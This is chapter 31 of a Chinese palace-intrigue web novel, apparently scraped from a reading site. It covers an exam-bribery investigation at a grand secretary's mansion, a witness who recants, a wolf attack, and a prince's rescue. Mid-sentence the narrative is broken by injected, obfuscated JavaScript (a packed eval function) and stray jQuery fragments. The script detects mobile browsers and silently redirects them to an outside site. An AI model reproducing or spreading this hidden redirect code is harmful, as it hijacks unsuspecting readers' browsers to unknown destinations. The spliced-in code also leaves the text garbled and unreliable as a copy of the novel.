31. 第 31 章

作品:《原来本王不是断袖

    张怀月一屁股坐在矮绣墩上,心里反反复复只有一个念头:完了。


    秦嘉只觉心头畅快,有柳生和登科楼小厮作为人证,但凡从阁老府上搜出些蛛丝马迹,张怀月贿赂考官买题的罪名就彻彻底底钉死了!


    任他再有天大的神通,天下万万学子面前,也只有他羞愧无颜的份!


    届时莫说柳生身上没有罪名,也能让关在刑部大牢里的二百七十七名贡士出来。


    今岁春闱泄题的案子就算查的清清楚楚了。


    秦嘉松了一口气。


    柳怀月面色煞白如纸,他怎么知道当日登科楼上除了柳生竟还有人听见了?!这要怎么办?难不成就这么承认了?进了刑部大牢岂不是要被杀头?


    不——不!


    父亲不会坐视不理的!大哥去的早,他是父亲唯一的儿子、唯一的儿子啊!他是张家唯一的正根独苗!


    张怀月六神无主,一刻不停的与张疏月哭诉委屈,“阿姐你救救我,我没有买题,都是他们诬陷,是他们诬陷啊!”


    张疏月也没想到他居然做下这样的蠢事,做便做了,只要做的干净些,别叫人查出什么马脚,可她这个傻弟弟还是露了首尾,人证都没处置好,真要东窗事发,父亲该如何保全他?


    可他毕竟是她唯一的亲弟弟啊,她怎能眼睁睁坐视不理?


    “只有人证不妥,刑部为天下衙狱之首,也该知道人证物证二者不可缺其一的规矩吧?”


    张疏月这话本意是要替张怀月拖一拖,至少等到父亲回来再周全此事,没想到反倒成全了秦嘉,她顺坡下驴,拱手道:“既如此,那就请姜大人搜府吧。”


    刑部跟来的衙吏蓄势待发,张怀月扶趴在张疏月的膝上,惊恐不已。


    眼看姜武就要下令,门外忽而一声中气十足的厉喝:“我看谁敢?!”


    日光漫进门内,来人服朱戴紫,一品仙鹤补子声势煊赫,是当朝内阁首辅张衡。


    “父亲。”


    “爹!”


    张怀月嚎叫一声,在人前勉力维持礼节,嚣张到不可一世的京城第一公子哥在他爹面前要多无辜又多无辜。


    张衡目光冷锐复杂的看他这个儿子一眼,对身后的姜武道:“趁着老夫不在家,姜大人是要把老夫这宅子给掀了么?”


    姜武早在张衡进了时便以头触地行了大礼,闻言拱手答话,“下官不敢,只是因例行事,冲撞之处大人海涵。”


    张衡不置可否,撩袍坐下,“宫里事务繁杂,老夫也没空在府上多耽搁,来时已听底下人说明了,为着春闱一事,姜大人费心了。”


    姜武叩拜,“不敢在老大人面前居功。”


    张衡八风不动,秦嘉反倒乱了心,张怀月时张衡膝下仅剩的儿子,他居然一点都不慌么?


    “带人证上来!”


    前厅内,姜武铁面无私,柳生惴惴不安,张氏姐弟因着张衡在,自是有恃无恐,张衡在喝一盏茶,只秦嘉一人半垂眼观望,心内思量,张衡来的太快,一时间竟这么对峙上了,若张衡不松口,刑部是不敢拿人搜查的。


    正想着,登科楼的小厮被带了上来,秦嘉屏息凝神,在姜武喝问过后,登科楼小厮惶恐磕头,咚咚咚的闷响声听的人心尖颤颤。


    而他说出口的话也是秦嘉万万没想到的。


    ——“小人没听说张公子贿赂的事,小人什么都不知道啊!”


    秦嘉板直了脸,柳生抢先道:“胡说!四月十七在登科楼二楼后窗的甬道里,你分明在那儿!你听见屋内人说起春闱贿赂考官的秘密便吓得逃走了!分明就是你!”


    小厮仰起身子,拒不承认,“小人就是个楼里洒扫的伙计,实在不知公子说的什么贿赂什么秘密,公子可别乱说!说不定就是你自己贿赂了考官想陷害阁老公子!”


    人证非但没有指认还倒打一耙!


    秦嘉觉得后背上的伤口又刺痒许多,姜武面上渗出冷汗。


    一盏茶喝完,张衡起身,停在姜武跟前,一双利眼却扫过秦嘉,“既然人证子虚乌有,该怎么做姜大人心里有数吧?”


    姜武低头,声音从胸腔里逼出来,“是,叨扰阁老大人,这二人污蔑张公子,任凭老大人处置。”


    秦嘉呼吸几欲在这一刻停了。


    谁料张衡突然笑笑,“姜大人此话说的不对,老夫是辅臣,这生杀之事是你们刑部的事。”


    姜武跪地低头送张衡离开,前厅内的气氛陡然变了,张怀月从偏榻上起来,大笑一声,阴狠狠道:“来人!把这两个污蔑本公子的人拖进豹房——喂狼!”


    柳生与秦嘉二人被推到豹房边上,隔着拳宽的铁屋框子与两匹狼遥遥对视。


    豹房内,两匹狼奔腾撕咬累了,半伏在地上嚼巴带血的人骨头,狼嘴里滴着混着血水的涎水,吓白了柳生的脸,就连姜武也颇为不忍的扭过头去。


    来之前他便说了,若是证词有伪,得罪了阁老,他势必要提着他二人的脑袋送予阁老,如今能让阁老公子出口气,也算给阁老一个交代了。


    他不说,底下却有管家提醒,“公子,您要打要罚都随了您了,只是他们二人一个有官身一个有功名,无端死在咱们府上,恐惹旁人非议。”


    张怀月冷眼看过来,“谁敢非议?本公子缝了他的嘴!”


    事情已撕破脸到了这等地步,秦嘉也无甚可怕的,“来啊,杀了本官,让朝廷内外文武百官都看看,张阁老府上的公子是如何的以权逼人,行霸主行径!”她轻呵一笑,“看看世人如何议论位居首辅的张阁老!”


    张怀月隐约在这个兵部员外郎脸上看见一丝轻蔑之意,但他天不怕地不怕,最怕让父亲失望,杀了他二人或许真的会连累父亲,张怀月犹豫了。


    也就是犹豫的这么一小会的功夫,背后狼犬径自扑撕上来,利爪伸出铁框子径自往前一抓,那力度恐要把人的后背生生撕碎!


    而秦嘉对此一无所知!


    “躲开!”


    二进院门口不知何时多了个人,在门口陡然朝里喝道,秦嘉下意识抬眼,未设防后背叫人猛地一推,径自扑跪在地!


    背后一声惨叫,柳生捂着滴血的右肩,面色血色褪了个干净。


    四道抓痕清晰可见,皮肉连带衣裳尽被扯碎,秦嘉一下慌了神,把人卷进自己怀里,“柳生...柳生?”


    齐承修阴沉着俊脸进来,朝府上人道:“愣着做什么?请郎中来!”


    柳生暂被安置到空房内,因着齐承修在,张怀月不敢发作泄愤。


    前厅内,张疏月接了帖子,妥帖笑道:“不过是送帖子的活计,不劳殿下亲自过来。”


    原本这等小事他自然不会亲自过来,但在皇后宫里听说张阁老撂下一摊子事出宫,再一打听,竟是刑部带着春闱贡士上门了,里头还夹带着一个八竿子打不着的兵部员外郎。


    呵。


    那人最爱管闲事。


    皇后说要请张阁老府上的姑娘进宫说话,齐承修只能应下这事当个由头,正大光明上门来,一进门瞧见那两匹狼扑咬上来,若非柳生在后推了一把,秦嘉那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442312|199335||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后背怕不是又要遭殃。


    面色阴沉的能滴水,齐承修心思飘到九霄云外去,压根没听见张疏月说话。


    扶霜轻咳一声,给齐承修使个眼色。


    “哦,本王顺路而已,这帖子送到,本王也就不多留了。”


    他起身欲走,日头跃过青年肩头落在她眼中,修饰勾勒出一副姣好的仪容。她不是第一次见他了,去岁年底宫宴上,她随父入宫,是见过这位刚从疆场上下来的七殿下的。


    他那一身的杀伐气拒人千里之外,对谁都是冷冷清清提不起兴趣,她那时就迷恋上他了。


    父亲说会为她寻一门皇亲,她的身份理应嫁给陛下的某一位皇子,往后登上后位都是使得的。


    可是宣宁帝还不曾立太子,几位尚未娶正妻的皇子她选了又选,总觉得不合眼缘,只有七皇子。


    她心里笃认了他。


    张疏月笑容温和,目光盈盈送他,忽而问了句她本不应该问、以至于有些不合时宜的话,“殿下那日会在吗?”


    齐承修一面阔步出门,一面随口道:“不会。”


    “哦...”张疏月缓缓应了声,捏着帖子,见见皇后也挺好。


    出了前厅,齐承修眼瞅见偏房门口立着一人,不由轻呵道:“还不跟着?”


    秦嘉已然麻手麻脚了,方才狼爪夺人的那一下,若非柳生及时推了她一把,她背上指不定又得遭什么罪呢。


    扶霜利索扶着柳生出门,几人跟着齐承修出了阁老府,算是躲过一劫。


    门外,姜武跨刀而立,伏跪行礼,“见过殿下,柳生涉及春闱泄题案,须得关押到刑部衙狱。”


    三法司为着这事搅的朝廷上下不得安生,他当然知道,只不过看今日情形姜武不在意他二人性命,还需敲打几句,“查案期间,所有人犯的性命可能保全?”


    “这...底下人刑讯审问,难免...”


    “嗯?”齐承修点点柳生,“只要一日未定罪,他和刑部里那二百多名贡士就还是天子门生,身上有功名的,姜大人要是一不小心把人弄死了,你猜陛下会不会动怒?”


    姜武颔首,“下官谢殿下提醒!”


    打发了姜武柳生,齐承修负手走在前头带着秦嘉踱到马车旁。秦嘉时不时觑上一眼,心里只犯嘀咕,齐承修该是想弄死她的吧。


    且不说那日直截了当的说的话冲了他的颜面,昨儿个夜里路上碰见,他见自己那眼神那脸色,也是恨不得生吞活剥她了。


    兀自想着,没察觉前头齐承修忽然停下脚步,险些撞上去。


    “谁给你的胆子来闯阁老府,今儿个本王若是来晚了,你怕不是早已叫狼啃得连骨头渣子都不剩了!”


    “多谢殿下方才为我二人解围。”


    离得近了,这会儿秦嘉才望见他眼角隐有淤青,刚想问一嘴,齐承修目光便已扫了过来,是心里有气所以格外阴阳的语气,“以秦员外的聪慧劲儿,本王就算不解围,秦员外也自有本事脱身,心里不想谢嘴上就不要勉强,本王担不起。”


    没得叫他心不甘情不愿的奉承自己。


    秦嘉干笑一声,“殿下是还生气呢?下官那日是挨了鞭刑疼到口不择言了,殿下对下官的好下官自是记着的,放在心上时时刻刻都不敢忘。”


    青年半信半疑停下脚步,半挑眉头,“果真?”


    “下官对天发誓,殿下对下官的恩情优待下官没齿难忘!”


    齐承修还是冷着一张脸,只是唇角微勾,快走两步撇下秦嘉,“算你有良心!”